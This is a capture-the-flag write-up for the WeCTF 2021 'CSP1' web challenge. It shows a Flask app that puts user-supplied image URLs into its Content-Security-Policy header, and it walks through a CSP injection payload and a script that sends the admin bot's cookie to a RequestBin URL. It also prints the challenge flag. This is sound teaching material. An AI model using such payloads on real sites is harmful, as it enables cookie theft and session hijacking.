WeCTF 2021

Team Placing: #117 / 574

Solvers: This challenge was a collaborative effort between myself and my teammate, Dayton Hasty (dayt0n)

Challenge: CSP1

Category: Web


Shame on Shou if his web app has XSS vulnerability. More shame on him if he does not know how to use CSP correctly.

Hint: Search Content-Security-Policy if you don’t know what that is and check your browser console.


Navigating to the provided URL, we’re presented with a page that looks like this:

We can provide HTML such as <h1>This is a test</h1> and after we hit submit, it will be displayed to us on the next page. However, if we try to insert JavaScript via <script> tags, we are blocked by the Content Security Policy (CSP).

Since we’re given the source code for the site, let’s take a look at how the CSP is implemented:

def display(token):
    user_obj = Post.select().where(Post.token == token)
    content = user_obj[-1].content if len(user_obj) > 0 else "Not Found"
    img_urls = [x['src'] for x in bs(content).find_all("img")]
    tmpl = render_template("display.html", content=content)
    resp = make_response(tmpl)
    resp.headers["Content-Security-Policy"] = "default-src 'none'; connect-src 'self'; img-src " \
                                              f"'self' {filter_url(img_urls)}; script-src 'none'; " \
                                              "style-src 'self'; base-uri 'self'; form-action 'self' "
    return resp

From the code it looks like the script-src directive being set to none is the cause of our issues. The script-src directive specifies valid sources for JavaScript, and it being set to none means, as you would expect, there are no valid sources.

So.. how do we get around this? Well you might notice that there is another directive, img-src which is using our input to specify valid sources for images:

img_urls = [x['src'] for x in bs(content).find_all("img")]
resp.headers["Content-Security-Policy"] = "default-src 'none'; connect-src 'self'; img-src " \
                                              f"'self' {filter_url(img_urls)}; script-src 'none'; " \
                                              "style-src 'self'; base-uri 'self'; form-action 'self' "

So, the code will parse any <img> tags for the URL provided in the src parameter, and insert those URLs into the CSP. This means that we can perform a CSP policy injection attack!

Now that we have a good idea of the exploit, let’s craft it:

<img src="http://; script-src 'unsafe-inline'"></img>

So, because the CSP is simply inputting the “URL” in the src parameter into the CSP, we can easily inject a duplicate script-src directive, but we will set ours to unsafe-inline allowing us to use inline <script> tags. And because of the way CSP works, our version of the directive will take precedence.

Let’s fire off our test and see if works:


Nice, so we’ve successfully exploited the vulnerability but the flag is actually held in the Admin Bot’s cookies. So, let’s change our exploit a little bit to allow us to steal his cookie:

<img src="http://; script-src 'unsafe-inline'"></img>
<script>window.location = 'https://requestbin.io/1fy84do1?cookie=' + document.cookie;</script>

Great, this exploit will make the Admin Bot navigate to our RequestBin link, with his cookie set as the value of a GET parameter, allowing us to inspect the request and thus see the cookie.

Let’s send the final exploit to the Admin Bot, and inspect the RequestBin:

And there’s the flag! Pretty cool challenge that highlighted one of the easier ways to get around CSP.

Flag: we{2bf90f00-f560-4aee-a402-d46490b53541@just_L1k3_<sq1_injEcti0n>}